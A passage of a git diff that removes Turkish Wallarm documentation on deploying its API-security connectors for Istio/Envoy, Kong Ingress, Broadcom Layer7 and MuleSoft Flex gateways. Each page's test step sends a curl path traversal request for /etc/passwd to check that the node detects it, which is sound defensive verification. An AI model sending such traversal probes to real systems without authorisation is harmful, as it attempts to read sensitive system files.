veya graylist](../../user-guides/ip-lists/overview.md) ülkeleriniz, bölgeleriniz veya veri merkezleriniz için kesin IP’leri almak amacıyla aşağıdaki IP adreslerine erişim - - --8<-- "../include/wallarm-cloud-ips.md" -* [US Cloud](https://us1.my.wallarm.com/) veya [EU Cloud](https://my.wallarm.com/) için Wallarm Console’a **Administrator** erişimi - -## Dağıtım - -Istio ve Envoy proxy tarafından yönetilen API’leri korumak için şu adımları izleyin: - -1. Kubernetes kümenize Wallarm filtreleme node servisini dağıtın. -1. Istio’daki Envoy proxy’yi trafiği yansıtacak ve bant dışı analiz için Wallarm node’una gönderecek şekilde yapılandırın. - -### 1. Bir Wallarm Native Node dağıtın - -Wallarm node’unu Kubernetes kümenizde ayrı bir servis olarak dağıtmak için [talimatları](../native-node/helm-chart.md) izleyin. - -### 2. Envoy'u trafiği Wallarm node'una yansıtacak şekilde yapılandırın - -1. Istio için Wallarm Lua eklenti kodunu edinmek üzere [support@wallarm.com](mailto:support@wallarm.com) ile iletişime geçin. Destek ekibinin sağladığı dosya adları aşağıdaki adımlarda kullanılacaktır. -1. Lua betikleri kullanarak trafiği Wallarm node’una yansıtmak için Envoy filter ve cluster yapılandırmasını uygulayın: - - ``` - kubectl apply -f wallarm-envoy-gw-http-filter.yaml - kubectl apply -f wallarm-envoy-cluster-svc-endpoint.yaml - ``` -1. Istio Ingress controller namespace’i içinde Wallarm connector’ünü ve Lua bağımlılıklarını bağlamak için ConfigMap’leri oluşturun: - - ``` - kubectl -n apply -f wallarm-cm-lua-mpack-lib.yaml - kubectl -n apply -f wallarm-cm-lua-rrasync.yaml - ``` -1. ConfigMap’leri bağlamak için Istio Ingress Gateway dağıtımınızı güncelleyin. Istio’yu nasıl yönettiğinize (Helm, IstioOperator veya özelleştirilmiş dağıtım) bağlı olarak değişiklikleri uygun şekilde uygulayın. - - Örneğin, Istio IstioOperator kullanılarak kurulduysa, ConfigMap’leri `IstioOperator` kaynağını güncelleyerek bağlayabilirsiniz: - - ```yaml - apiVersion: install.istio.io/v1alpha1 - kind: IstioOperator - spec: - components: - ingressGateways: - - name: istio-ingressgateway - enabled: true - k8s: - volumes: - - name: lua-mpack - configMap: - name: lua-msgpack-lib - - name: lua-rrasync - configMap: - name: rr-async-packed - volumeMounts: - - name: lua-mpack - mountPath: /usr/local/share/lua/5.1/msgpack - container: istio-proxy - - name: lua-rrasync - mountPath: /usr/local/share/lua/5.1/rrasync - container: istio-proxy - ``` - - ``` - kubectl apply -f istio-operator.yaml - ``` - -## Test - -Dağıtılan connector’ün işlevselliğini test etmek için şu adımları izleyin: - -1. Wallarm pod’larının çalışır durumda olduğunu doğrulayın: - - ``` - kubectl -n wallarm-node get pods - ``` - - `wallarm-node`, Wallarm node servisinin dağıtıldığı namespace’dir. - - Her pod durumunun **STATUS: Running** veya **READY: N/N** olması gerekir. Örneğin: - - ``` - NAME READY STATUS RESTARTS AGE - native-aggregation-5fb5d5444b-6c8n8 3/3 Running 0 51m - native-processing-7c487bbdc6-4j6mz 3/3 Running 0 51m - ``` -1. Istio Gateway’e test [Yol Geçişi][ptrav-attack-docs] saldırısı içeren isteği gönderin: - - ``` - curl https:///etc/passwd - ``` -1. Wallarm Console → Attacks bölümünü [US Cloud](https://us1.my.wallarm.com/attacks) veya [EU Cloud](https://my.wallarm.com/attacks) içinde açın ve saldırının listede görüntülendiğinden emin olun. - - ![Arayüzde Attacks][attacks-in-ui-image] - - Connector [bant dışı](../oob/overview.md) modda çalıştığından ve kötü amaçlı istekleri engellemediğinden, Wallarm node saldırıyı engellemez ancak kaydeder. -1. Gerekirse, ayrı bir konsol penceresinde Wallarm günlüklerini izleyin: - - ``` - kubectl -n gonode logs native-processing-7c487bbdc6-4j6mz --tail 100 -f - ``` - -## Wallarm Lua eklentisini yükseltme - -Dağıtılmış Wallarm Lua eklentisini [daha yeni bir sürüme](code-bundle-inventory.md#istio) yükseltmek için: - -1. Istio Ingress’iniz için güncellenmiş Wallarm Lua eklenti kodunu edinmek üzere support@wallarm.com ile iletişime geçin. -1. Güncellenen eklentiyi [Adım 2](#2-configure-envoy-to-mirror-traffic-to-the-wallarm-node)’de açıklandığı şekilde dağıtın. - -Eklenti yükseltmeleri, özellikle ana sürüm güncellemelerinde, bir Wallarm node yükseltmesi gerektirebilir. Sürüm güncellemeleri ve yükseltme talimatları için [Wallarm Native Node değişiklik günlüğüne](../../updating-migrating/native-node/node-artifact-versions.md) bakın. Gelecekteki yükseltmeleri basitleştirmek ve kullanım dışı kalmayı önlemek için düzenli node güncellemeleri önerilir. \ No newline at end of file diff --git a/docs/latest-tr/installation/connectors/kong-api-gateway.md b/docs/latest-tr/installation/connectors/kong-api-gateway.md deleted file mode 100644 index c121213504..0000000000 --- a/docs/latest-tr/installation/connectors/kong-api-gateway.md +++ /dev/null @@ -1,145 +0,0 @@ -[self-hosted-connector-node-helm-conf]: ../native-node/helm-chart-conf.md - -# Kong Ingress Controller için Wallarm Connector - -[Kong Ingress Controller](https://docs.konghq.com/kubernetes-ingress-controller/latest/) tarafından yönetilen API’leri korumak için Wallarm, Kubernetes ortamınıza sorunsuzca entegre olan bir connector sağlar. Wallarm filtreleme düğümünü dağıtıp özel bir Lua eklentisi aracılığıyla Kong’a bağlayarak, gelen trafik gerçek zamanlı analiz edilir ve istekler hizmetlerinize ulaşmadan önce Wallarm kötü amaçlı istekleri engelleyebilir. - -Kong Ingress Controller için Wallarm connector yalnızca [in-line](../inline/overview.md) modunu destekler: - -![Wallarm eklentisi ile Kong](../../images/waf-installation/gateways/kong/traffic-flow-inline.png) - -## Kullanım senaryoları - -Bu çözüm, Kong API Gateway çalıştıran Kong Ingress Controller tarafından yönetilen API’lerin güvenliğini sağlamak için önerilir. - -## Sınırlamalar - -Bu kurulum, Wallarm’ın yalnızca Wallarm Console UI üzerinden ince ayar yapılmasına izin verir. Dosya tabanlı yapılandırma gerektiren bazı Wallarm özellikleri bu uygulamada desteklenmez, örneğin: - -* [Multitenancy özelliği][multitenancy-overview] -* [Uygulama yapılandırması][applications-docs] -* [Özel engelleme sayfası ve kod kurulumu][custom-blocking-page-docs] - -## Gereksinimler - -Dağıtıma devam etmeden önce aşağıdaki gereksinimleri karşıladığınızdan emin olun: - -* Kubernetes kümesinde dağıtılmış ve API trafiğinizi yöneten Kong Ingress Controller -* [Helm v3](https://helm.sh/) paket yöneticisi -* `https://us1.api.wallarm.com` (US Wallarm Cloud) veya `https://api.wallarm.com` (EU Wallarm Cloud) erişimi -* Wallarm Helm chart’ını eklemek için `https://charts.wallarm.com` erişimi -* Docker Hub üzerindeki Wallarm depolarına `https://hub.docker.com/r/wallarm` erişimi -* Saldırı tespit kurallarının güncellemelerini indirmek ve [allowlisted, denylisted veya graylisted](../../user-guides/ip-lists/overview.md) ülkeleriniz, bölgeleriniz veya veri merkezleriniz için kesin IP’leri almak amacıyla aşağıdaki IP adreslerine erişim - - --8<-- "../include/wallarm-cloud-ips.md" -* [US Cloud](https://us1.my.wallarm.com/) veya [EU Cloud](https://my.wallarm.com/) için Wallarm Console’a **Administrator** erişimi -* Node örneği alan adı için **güvenilir** bir SSL/TLS sertifikası gereklidir. Öz imzalı sertifikalar henüz desteklenmemektedir. - -## Dağıtım - -Kong Ingress Controller tarafından yönetilen API’leri güvenceye almak için şu adımları izleyin: - -1. Kubernetes kümenizde Wallarm filtreleme düğümü servisini dağıtın. -1. Gelen trafiği analiz için Kong Ingress Controller’dan Wallarm filtreleme düğümüne yönlendirmek üzere Wallarm Lua eklentisini edinin ve dağıtın. - -### 1. Wallarm Native Node dağıtın - -Wallarm düğümünü Kubernetes kümenizde ayrı bir servis olarak dağıtmak için [talimatları](../native-node/helm-chart.md) izleyin. - -### 2. Wallarm Lua eklentisini edinin ve dağıtın - -1. Kong Ingress Controller’ınız için Wallarm Lua eklenti kodunu edinmek amacıyla [support@wallarm.com](mailto:support@wallarm.com) ile iletişime geçin. -1. Eklenti kodu ile bir ConfigMap oluşturun: - - ``` - kubectl apply -f wallarm-kong-lua.yaml -n - ``` - - ``, Kong Ingress Controller’ın dağıtıldığı ad alanıdır. -1. Wallarm Lua eklentisini yüklemek için Kong Ingress Controller’a ait `values.yaml` dosyanızı güncelleyin: - - ```yaml - gateway: - plugins: - configMaps: - - name: kong-lua - pluginName: kong-lua - ``` -1. Kong Ingress Controller’ı güncelleyin: - - ``` - helm upgrade --install kong/ingress -n --values values.yaml - ``` -1. Bir `KongClusterPlugin` kaynağı oluşturarak ve Wallarm düğüm servis adresini belirterek Wallarm Lua eklentisini etkinleştirin: - - ```yaml - echo ' - apiVersion: configuration.konghq.com/v1 - kind: KongClusterPlugin - metadata: - name: kong-lua - annotations: - kubernetes.io/ingress.class: kong - config: - wallarm_node_address: "http://native-processing.wallarm-node.svc.cluster.local:5000" - plugin: kong-lua - ' | kubectl apply -f - - ``` - - `wallarm-node`, Wallarm düğüm servisinin dağıtıldığı ad alanıdır. -1. Seçili servisler için eklentiyi etkinleştirmek üzere Ingress’inize veya Gateway API rotanıza aşağıdaki anotasyonları ekleyin: - - ``` - konghq.com/plugins: kong-lua - kubernetes.io/ingress.class: kong - ``` - -## Test - -Dağıtılan connector’ün işlevselliğini test etmek için şu adımları izleyin: - -1. Wallarm pod’larının çalışır durumda olduğunu doğrulayın: - - ``` - kubectl -n wallarm-node get pods - ``` - - `wallarm-node`, Wallarm düğüm servisinin dağıtıldığı ad alanıdır. - - Her pod durumunun **STATUS: Running** veya **READY: N/N** olması gerekir. Örneğin: - - ``` - NAME READY STATUS RESTARTS AGE - native-aggregation-5fb5d5444b-6c8n8 3/3 Running 0 51m - native-processing-7c487bbdc6-4j6mz 3/3 Running 0 51m - ``` -1. Kong Gateway IP’sini alın (genellikle bir `LoadBalancer` servisi olarak yapılandırılır): - - ``` - export PROXY_IP=$(kubectl get svc --namespace -gateway-proxy -o jsonpath='{.status.loadBalancer.ingress[0].ip}') - ``` -1. Test [Path Traversal][ptrav-attack-docs] saldırısıyla balancera istek gönderin: - - ``` - curl -H "Host: kong-lua-test.wallarm" $PROXY_IP/etc/passwd - ``` - - Düğüm varsayılan olarak [monitoring mode][available-filtration-modes] modunda çalıştığından, Wallarm düğümü saldırıyı engellemez ancak kaydeder. -1. Wallarm Console → [US Cloud](https://us1.my.wallarm.com/attacks) veya [EU Cloud](https://my.wallarm.com/attacks) içindeki **Attacks** bölümünü açın ve saldırının listede görüntülendiğinden emin olun. - - ![Arayüzde Attacks][attacks-in-ui-image] - -## Wallarm Lua eklentisini yükseltme - -Dağıtılmış Wallarm Lua eklentisini [daha yeni bir sürüme](code-bundle-inventory.md#kong-api-gateway) yükseltmek için: - -1. Kong Ingress Controller’ınız için güncellenmiş Wallarm Lua eklenti kodunu edinmek üzere support@wallarm.com ile iletişime geçin. -1. Eklenti kodu ile ConfigMap’i güncelleyin: - - ``` - kubectl apply -f wallarm-kong-lua.yaml -n - ``` - - ``, Kong Ingress Controller’ın dağıtıldığı ad alanıdır. - -Eklenti yükseltmeleri, özellikle ana sürüm güncellemelerinde, bir Wallarm düğüm yükseltmesi gerektirebilir. Sürüm güncellemeleri ve yükseltme talimatları için [Wallarm Native Node değişiklik günlüğüne](../../updating-migrating/native-node/node-artifact-versions.md) bakın. Kullanımdan kaldırmaları önlemek ve gelecekteki yükseltmeleri kolaylaştırmak için düzenli düğüm güncellemeleri önerilir. \ No newline at end of file diff --git a/docs/latest-tr/installation/connectors/layer7-api-gateway.md b/docs/latest-tr/installation/connectors/layer7-api-gateway.md deleted file mode 100644 index 38b8eed39d..0000000000 --- a/docs/latest-tr/installation/connectors/layer7-api-gateway.md +++ /dev/null @@ -1,107 +0,0 @@ -[ptrav-attack-docs]: ../../attacks-vulns-list.md#path-traversal -[attacks-in-ui-image]: ../../images/admin-guides/test-attacks-quickstart.png -[helm-chart-native-node]: ../native-node/helm-chart.md -[custom-blocking-page]: ../../admin-en/configuration-guides/configure-block-page-and-code.md -[rate-limiting]: ../../user-guides/rules/rate-limiting.md -[multi-tenancy]: ../multi-tenant/overview.md - -# Broadcom Layer7 API Gateways - -Broadcom'un [Layer7 API Gateways](https://www.broadcom.com/products/software/api-management/layer7-api-gateways) ürünleri, bir kuruluşun API trafiğini kontrol etmek ve güvence altına almak için sağlam bir çözüm sunar. Wallarm, Broadcom Layer7 API Gateways üzerinden yönetilen API'lerin güvenliğini artırmak için bir bağlayıcı (connector) olarak çalışabilir. - -Wallarm'ı Broadcom Layer7 API Gateway için bir bağlayıcı olarak kullanmak üzere, **Wallarm Node'u harici olarak dağıtmanız** ve trafiği analiz için Wallarm Node'a yönlendirmek amacıyla **ağ geçidi üzerinde Wallarm politikalarını yapılandırmanız** gerekir. - -Broadcom bağlayıcısı yalnızca [hat içi](../inline/overview.md) trafik akışını destekler. - - - -## Kullanım senaryoları - -API'lerinizi Layer7 API Gateways ile yönettiğiniz durumlarda bu çözüm önerilir. - -## Sınırlamalar - ---8<-- "../include/waf/installation/connectors/native-node-limitations.md" - -## Gereksinimler - -Dağıtıma devam etmek için aşağıdaki gereksinimleri karşıladığınızdan emin olun: - -* Broadcom Layer7 API Gateways ürünü hakkında bilgi sahibi olmak. -* Uygulamanız ve API'niz Broadcom Layer7 API Gateways üzerinde bağlı ve çalışır durumda olmalıdır. -* Broadcom Policy Manager kurulu ve Broadcom Gateway'e bağlı olmalı. - -## Dağıtım - - -### 1. Bir Wallarm Node dağıtın - -Wallarm Node, dağıtmanız gereken Wallarm platformunun temel bir bileşenidir. Gelen trafiği inceler, kötü niyetli etkinlikleri tespit eder ve tehditleri azaltacak şekilde yapılandırılabilir. - -Aşağıdaki artifaktlardan birini kullanarak kendi altyapınızda ayrı bir servis olarak dağıtmanız gerekir: - -* Bare metal veya VM'lerdeki Linux altyapıları için [All-in-one installer](../native-node/all-in-one.md) -* Konteynerize dağıtımlar kullanan ortamlar için [Docker image](../native-node/docker-image.md) -* AWS altyapıları için [AWS AMI](../native-node/aws-ami.md) -* Kubernetes kullanan altyapılar için [Helm chart](../native-node/helm-chart.md) - -### 2. Node'un SSL/TLS sertifikasını Policy Manager'a ekleyin - -Broadcom Gateway'in trafiği HTTPS üzerinden Wallarm Node'a yönlendirebilmesi için, Node'un SSL/TLS sertifikasını Policy Manager'a ekleyin: - -1. Broadcom Policy Manager'ı açın → **Tasks** → **Certificates, Keys and Secrets** → **Manage Certificates**. -1. **Add** → **Retrieve via SSL**'e tıklayın ve [Wallarm Node'un adresini](#1-deploy-a-wallarm-node) belirtin. - -### 3. Wallarm politikalarını edinin ve dağıtın - -Broadcom Gateway'in trafiği Wallarm Node üzerinden yönlendirmesi için yapılandırmak üzere: - -1. Wallarm politika kod paketlerini almak için sales@wallarm.com ile iletişime geçin. -1. Broadcom Policy Manager'ı açın → Broadcom Gateway'inizin menüsü → **Create Policy** ve 2 politika ekleyin: - - * **İstek iletme politikası**: `Global Policy Fragment` türünü ve `message-received` etiketini atayın. - - ![](../../images/waf-installation/gateways/layer7/request-policy.png) - - * **Yanıt iletme politikası**: `Global Policy Fragment` türünü ve `message-completed` etiketini atayın. - - ![](../../images/waf-installation/gateways/layer7/response-policy.png) -1. İstek iletme politikası için (bu örnekte `forward-requests-to-wallarm`): - - 1. `wallarm-request-blocking.xml` dosyasını içe aktarın. - 1. `wlrm-node-addr` parametresinde [Wallarm Node örneğinin](#1-deploy-a-wallarm-node) adresini belirtin. - 1. Politikayı **Save and Active** edin. - - ![](../../images/waf-installation/gateways/layer7/request-policy-assertion.png) -1. Yanıt iletme politikası için (bu örnekte `forward-responses-to-wallarm`): - - 1. `wallarm-response.xml` dosyasını içe aktarın. - 1. Politikayı **Save and Active** edin. - -## Test - -Dağıtılan politikanın işlevselliğini test etmek için şu adımları izleyin: - -1. Gateway adresinize test [Dizin Geçişi][ptrav-attack-docs] saldırısını içeren isteği gönderin: - - ``` - curl http:///etc/passwd - ``` -1. Wallarm Console'u açın → [US Cloud](https://us1.my.wallarm.com/attacks) veya [EU Cloud](https://my.wallarm.com/attacks) içindeki Attacks bölümüne gidin ve saldırının listede görüntülendiğinden emin olun. - - ![Arayüzdeki Attacks][attacks-in-ui-image] - - Wallarm Node modu [blocking](../../admin-en/configure-wallarm-mode.md) olarak ayarlanmışsa, istek ayrıca engellenecektir. - -## Wallarm politikalarını yükseltme - -Broadcom üzerinde dağıtılmış Wallarm politikalarını [daha yeni bir sürüme](code-bundle-inventory.md#broadcom-layer7-api-gateway) yükseltmek için: - -1. Güncellenmiş kod paketini almak için sales@wallarm.com ile iletişime geçin. -1. [Dağıtım adımlarında](#import-new-broadcom-policies) açıklandığı gibi, güncellenmiş politika dosyalarını Policy Manager'daki mevcut politika örneklerine içe aktarın. -1. Politika parametrelerini doğru değerlerle yapılandırın. -1. Güncellenmiş politikaları **Save and Activate** edin. - -Politika yükseltmeleri, özellikle büyük sürüm güncellemelerinde, Wallarm Node yükseltmesi gerektirebilir. Sürüm güncellemeleri ve yükseltme talimatları için [Wallarm Native Node değişiklik günlüğüne](../../updating-migrating/native-node/node-artifact-versions.md) bakın. Eskimeyi önlemek ve gelecekteki yükseltmeleri basitleştirmek için düzenli node güncellemeleri önerilir. \ No newline at end of file diff --git a/docs/latest-tr/installation/connectors/mulesoft-flex-for-wizard.md b/docs/latest-tr/installation/connectors/mulesoft-flex-for-wizard.md deleted file mode 100644 index 58d179134b..0000000000 --- a/docs/latest-tr/installation/connectors/mulesoft-flex-for-wizard.md +++ /dev/null @@ -1,84 +0,0 @@ -# Sihirbaz için MuleSoft Flex - -Wallarm Edge node, MuleSoft Flex Gateway'inize [eşzamanlı](../inline/overview.md) veya [asenkron](../oob/overview.md) modda - hiçbir isteği engellemeden - bağlanabilir. - -Bağlantıyı kurmak için aşağıdaki adımları izleyin. - -**1. Wallarm politikasını MuleSoft Exchange'e yükleyin** - -1. Platformunuz için sağlanan kod paketini indirin. -1. Politika arşivini çıkarın. -1. Politikayı yayımlamak için kullanacağınız makinenin [tüm gerekli gereksinimleri](mulesoft-flex.md#requirements) karşıladığından emin olun. -1. MuleSoft Anypoint Platform → **Access Management** → **Business Groups** → kuruluşunuzu seçin → **business group ID** değerini kopyalayın. -1. Çıkarılan politika dizininde → `Cargo.toml` → `[package.metadata.anypoint]` → `group_id` içinde, kopyaladığınız grup ID'sini belirtin: - - ```toml - ... - [package.metadata.anypoint] - group_id = "" - definition_asset_id = "wallarm-custom-policy" - implementation_asset_id = "wallarm-custom-policy-flex" - ... - ``` -1. Politika üzerinde çalıştığınız aynı terminal oturumunda [Anypoint CLI ile kimlik doğrulayın](https://docs.mulesoft.com/anypoint-cli/latest/auth): - - ``` - anypoint-cli-v4 conf username - anypoint-cli-v4 conf password '' - ``` -1. Politikayı derleyin ve yayımlayın: - - ```bash - make setup # Bağımlılıkları ve PDK CLI'yi kurar - make build # Politikayı derler - make release # Politikayı Anypoint'e yeni bir üretim sürümü olarak yayımlar - ``` - -Özel politikanız artık MuleSoft Anypoint Platform Exchange'de kullanılabilir. - -**2. Wallarm politikasını API'nize ekleyin** - -Wallarm politikasını tek bir API'ye veya tüm API'lere ekleyebilirsiniz. - -1. Politikayı tek bir API'ye uygulamak için Anypoint Platform → **API Manager** → istediğiniz API'yi seçin → **Policies** → **Add policy**. -1. Politikayı tüm API'lere uygulamak için Anypoint Platform → **API Manager** → **Automated Policies** → **Add automated policy** yoluna gidin. -1. Exchange'den Wallarm politikasını seçin. -1. `wallarm_node` parametresinde, `http://` veya `https://` dahil olmak üzere Wallarm düğüm URL'sini belirtin. -1. Gerekirse, [diğer parametreleri](mulesoft-flex.md#configuration-options) değiştirin. -1. Politikayı uygulayın. - -[Daha fazla bilgi](mulesoft-flex.md) - - \ No newline at end of file diff --git a/docs/latest-tr/installation/connectors/mulesoft-flex.md b/docs/latest-tr/installation/connectors/mulesoft-flex.md deleted file mode 100644 index 6ece01aa5b..0000000000 --- a/docs/latest-tr/installation/connectors/mulesoft-flex.md +++ /dev/null @@ -1,169 +0,0 @@ -[ptrav-attack-docs]: ../../attacks-vulns-list.md#path-traversal -[attacks-in-ui-image]: ../../images/admin-guides/test-attacks-quickstart.png -[filtration-mode-docs]: ../../admin-en/configure-wallarm-mode.md -[se-connector-setup-img]: ../../images/waf-installation/se-connector-setup.png -[ip-list-docs]: ../../user-guides/ip-lists/overview.md -[api-token]: ../../user-guides/settings/api-tokens.md -[api-spec-enforcement-docs]: ../../api-specification-enforcement/overview.md -[helm-chart-native-node]: ../native-node/helm-chart.md -[custom-blocking-page]: ../../admin-en/configuration-guides/configure-block-page-and-code.md -[rate-limiting]: ../../user-guides/rules/rate-limiting.md -[multi-tenancy]: ../multi-tenant/overview.md - -# MuleSoft Flex Gateway için Wallarm Connector - -Bu kılavuz, Wallarm connector kullanarak [MuleSoft Flex Gateway](https://docs.mulesoft.com/gateway/latest/) tarafından yönetilen Mule ve Mule olmayan API'larınızı nasıl güvence altına alacağınızı açıklar. - -Flex Gateway için Wallarm'ı bir connector olarak kullanmak için, **Wallarm node'u harici olarak dağıtmanız** ve trafiği analiz için Wallarm node'una yönlendirmek amacıyla **MuleSoft içinde Wallarm tarafından sağlanan policy'yi uygulamanız** gerekir. - -Flex Gateway için Wallarm connector, hem [eşzamanlı (in-line)](../inline/overview.md) hem de [eşzamansız (out‑of‑band)](../oob/overview.md) trafik analizini destekler: - -=== "Eşzamanlı trafik akışı" - ![Wallarm policy ile MuleSoft](../../images/waf-installation/gateways/mulesoft/traffic-flow-flex-gateway-inline.png) -=== "Eşzamansız trafik akışı" - ![Wallarm policy ile MuleSoft](../../images/waf-installation/gateways/mulesoft/traffic-flow-flex-gateway-oob.png) - -## Kullanım senaryoları - -Bu çözüm, Flex Gateway tarafından yönetilen API'ların güvenliğini sağlamak için önerilen çözümdür. - -## Sınırlamalar - ---8<-- "../include/waf/installation/connectors/native-node-limitations.md" - -## Gereksinimler {#requirements} - -Dağıtıma devam etmek için aşağıdaki gereksinimleri karşıladığınızdan emin olun: - -* MuleSoft platformunu anlama. -* Uygulamanız ve API'niz Flex Gateway üzerinde ilişkilendirilmiş ve çalışır durumda. - - !!! info "Kısmi istekler notu" - Policy engelleme [modunda](../../admin-en/configure-wallarm-mode.md) çalışan connector için, upstream'inizin kısmi istekleri güvenli şekilde işleyebildiğinden emin olun. Bunun nedeni `proxy wasm` policy'lerinin akış doğasıdır - tam doğrulama tamamlanmadan önce bazı gövde verileri upstream'e ulaşabilir. [Daha fazla bilgi](https://docs.mulesoft.com/pdk/latest/policies-pdk-configure-features-stop) -* MuleSoft kullanıcınızın MuleSoft Anypoint Platform hesabına artifact yükleme yetkisi olması. -* Wallarm Console'da [US Cloud](https://us1.my.wallarm.com/) veya [EU Cloud](https://my.wallarm.com/) için **Administrator** hesabına erişim. -* Ana sisteminizde yüklü [Node.js](https://nodejs.org/en/download) 16.0.0+ ve `npm` 7+. -* Ana sisteminizde yüklü [`make`](https://formulae.brew.sh/formula/make). -* Ana sisteminizde yüklü [Anypoint CLI 4.x](https://docs.mulesoft.com/anypoint-cli/latest/install). -* Ana sisteminizde yüklü [PDK CLI ön koşulları](https://docs.mulesoft.com/pdk/latest/policies-pdk-prerequisites). -* Ana sisteminizde yüklü ve çalışan [Docker](https://docs.docker.com/engine/install/). -* Native Node [0.16.0 veya üzeri](../../updating-migrating/native-node/node-artifact-versions.md). - -## Dağıtım - -### 1. Bir Wallarm node dağıtın {#1-deploy-a-wallarm-node} - -Wallarm node, dağıtmanız gereken Wallarm platformunun temel bileşenidir. Gelen trafiği inceler, kötü amaçlı etkinlikleri tespit eder ve tehditleri azaltacak şekilde yapılandırılabilir. - -Flex Gateway connector için node'u yalnızca kendi altyapınızda dağıtabilirsiniz. - -Kendi kendine barındırılan node dağıtımı için bir yapıt seçin ve ekli talimatları izleyin: - -* Bare metal veya VM'lerde Linux altyapıları için [All-in-one installer](../native-node/all-in-one.md) -* Container tabanlı dağıtımları kullanan ortamlar için [Docker image](../native-node/docker-image.md) -* Kubernetes kullanan altyapılar için [Helm chart](../native-node/helm-chart.md) - -!!! info "Gerekli Node sürümü" - Lütfen MuleSoft Flex Gateway connector'ünün yalnızca Native Node'un [0.16.0+ sürümü](../../updating-migrating/native-node/node-artifact-versions.md) tarafından desteklendiğini unutmayın. - -### 2. Wallarm policy'sini MuleSoft Exchange'e edinin ve yükleyin {#2-obtain-and-upload-the-wallarm-policy-to-mulesoft-exchange} - -Wallarm policy'sini edinmek ve MuleSoft Exchange'e yüklemek için şu adımları izleyin: - -1. Kod paketini almak için sales@wallarm.com ile iletişime geçin. -1. Policy'yi yayınlamak için kullanacağınız makinenin [gerekli tüm gereksinimleri](#requirements) karşıladığından emin olun. -1. Policy arşivini çıkarın. -1. MuleSoft Anypoint Platform → **Access Management** → **Business Groups** → kuruluşunuzu seçin → **business group ID** değerini kopyalayın. -1. Çıkardığınız policy dizininde → `Cargo.toml` → `[package.metadata.anypoint]` → `group_id` alanına kopyaladığınız grup ID'sini girin: - - ```toml - ... - [package.metadata.anypoint] - group_id = "" - definition_asset_id = "wallarm-custom-policy" - implementation_asset_id = "wallarm-custom-policy-flex" - ... - ``` -1. Policy ile çalıştığınız aynı terminal oturumunda [Anypoint CLI ile kimlik doğrulayın](https://docs.mulesoft.com/anypoint-cli/latest/auth): - - ``` - anypoint-cli-v4 conf username - anypoint-cli-v4 conf password '' - ``` -1. Policy'yi derleyin ve yayınlayın: - - ```bash - make setup # Bağımlılıkları ve PDK CLI'yi kurar - make build # Policy'yi derler - make release # Policy'nin yeni üretim sürümünü Anypoint'e yayınlar - # veya - # make publish # Policy'nin bir geliştirme sürümünü Anypoint'e yayınlar - ``` - -Özel policy'niz artık MuleSoft Anypoint Platform Exchange'de kullanılabilir. - -![Wallarm policy ile MuleSoft](../../images/waf-installation/gateways/mulesoft/wallarm-policy-in-exchange.png) - -### 3. Wallarm policy'sini API'nize ekleyin - -Wallarm policy'yi tek bir API'ya veya tüm API'lara ekleyebilirsiniz. - -1. Policy'yi tek bir API'ya uygulamak için Anypoint Platform → **API Manager** → istenen API'yı seçin → **Policies** → **Add policy** yolunu izleyin. -1. Policy'yi tüm API'lara uygulamak için Anypoint Platform → **API Manager** → **Automated Policies** → **Add automated policy** yolunu izleyin. -1. Exchange'den Wallarm policy'yi seçin. -1. `wallarm_node` parametresinde `http://` veya `https://` dahil Wallarm node URL'sini belirtin. -1. Gerekirse, [diğer parametreleri](#configuration-options) değiştirin. -1. Policy'yi uygulayın. - -![Wallarm policy](../../images/waf-installation/gateways/mulesoft/policy-setup-flex.png) - -## Yapılandırma seçenekleri {#configuration-options} - -Flex Gateway için Wallarm policy ayarlarında aşağıdaki parametreleri belirtebilirsiniz: - -| Parametre | Açıklama | Gerekli mi? | -| --------- | ----------- | --------- | -| `wallarm_node` | [Wallarm Node örneğinizin](#1-deploy-a-wallarm-node) adresini ayarlar. | Evet | -| `real_ip_header` | Proxy veya yük dengeleyici arkasındayken orijinal istemci IP adresini belirlemek için hangi başlığın kullanılacağını belirtir. Varsayılan: `X-Forwarded-For`. | Evet | -| `wallarm_mode` | Trafik işleme modunu belirler: `sync`, trafiği doğrudan Wallarm Node üzerinden işler, `async` ise trafiğin [kopyasını](../oob/overview.md) orijinal akışı etkilemeden analiz eder. Varsayılan: `sync`. | Evet | -| `fallback_action` | Wallarm node kapalıyken istek işleme davranışını tanımlar. `pass` (tüm istekler geçirilir) veya `block` (tüm istekler 403 kodu ile engellenir) olabilir. Varsayılan: `pass`. | Evet | -| `parse_responses` | Yanıt gövdelerinin analiz edilip edilmeyeceğini kontrol eder. Yanıt şeması keşfini ve gelişmiş saldırı ve zafiyet tespit yeteneklerini etkinleştirir. Varsayılan: `true`. | Evet | -| `response_body_limit` | Wallarm node'una gönderilen yanıt gövdesinin boyutunu sınırlar. Varsayılan: `4096` bayt. | Hayır | - -## Test - -Dağıtılan policy'nin işlevselliğini test etmek için şu adımları izleyin: - -1. API'nize test amaçlı [Path Traversal][ptrav-attack-docs] saldırısı içeren isteği gönderin: - - ``` - curl http:///etc/passwd - ``` -1. Wallarm Console → [US Cloud](https://us1.my.wallarm.com/attacks) veya [EU Cloud](https://my.wallarm.com/attacks) içindeki **Attacks** bölümünü açın ve saldırının listede görüntülendiğinden emin olun. - - ![Arayüzde Attacks][attacks-in-ui-image] - - Wallarm node modu [engelleme](../../admin-en/configure-wallarm-mode.md) olarak ayarlanmışsa ve trafik in-line akıyorsa, istek de engellenecektir. - -## Sorun giderme - -Çözüm beklenildiği gibi çalışmıyorsa, MuleSoft Anypoint Platform → **Runtime Manager** → uygulamanız → **Logs** yolunu izleyerek API'nizin günlüklerine bakın. - -Ayrıca **API Manager** içinde API'nize gidip **Policies** sekmesinde uygulanan policy'leri inceleyerek policy'nin API'ya uygulanıp uygulanmadığını doğrulayabilirsiniz. Otomatik policy'ler için, kapsanan API'ları ve hariç tutulma nedenlerini görmek amacıyla **See covered APIs** seçeneğini kullanabilirsiniz. - -## Policy'yi yükseltme - -Dağıtılmış Wallarm policy'yi [daha yeni bir sürüme](code-bundle-inventory.md#mulesoft-flex-gateway) yükseltmek için: - -1. Güncellenmiş Wallarm policy'yi indirin ve [Adım 2](#2-obtain-and-upload-the-wallarm-policy-to-mulesoft-exchange)'de açıklandığı gibi MuleSoft Exchange'e yükleyin. -1. Yeni sürüm Exchange'de göründüğünde, **API Manager** → API'niz → **Policies** → Wallarm policy → **Edit configuration** → **Advanced options** yolunu izleyin ve açılır menüden yeni policy sürümünü seçin. -1. Yeni sürüm ek parametreler getiriyorsa, gerekli değerleri sağlayın. -1. Değişiklikleri kaydedin. - -Wallarm policy otomatik policy olarak uygulanıyorsa, doğrudan yükseltmeler mümkün olmayabilir. Bu gibi durumlarda 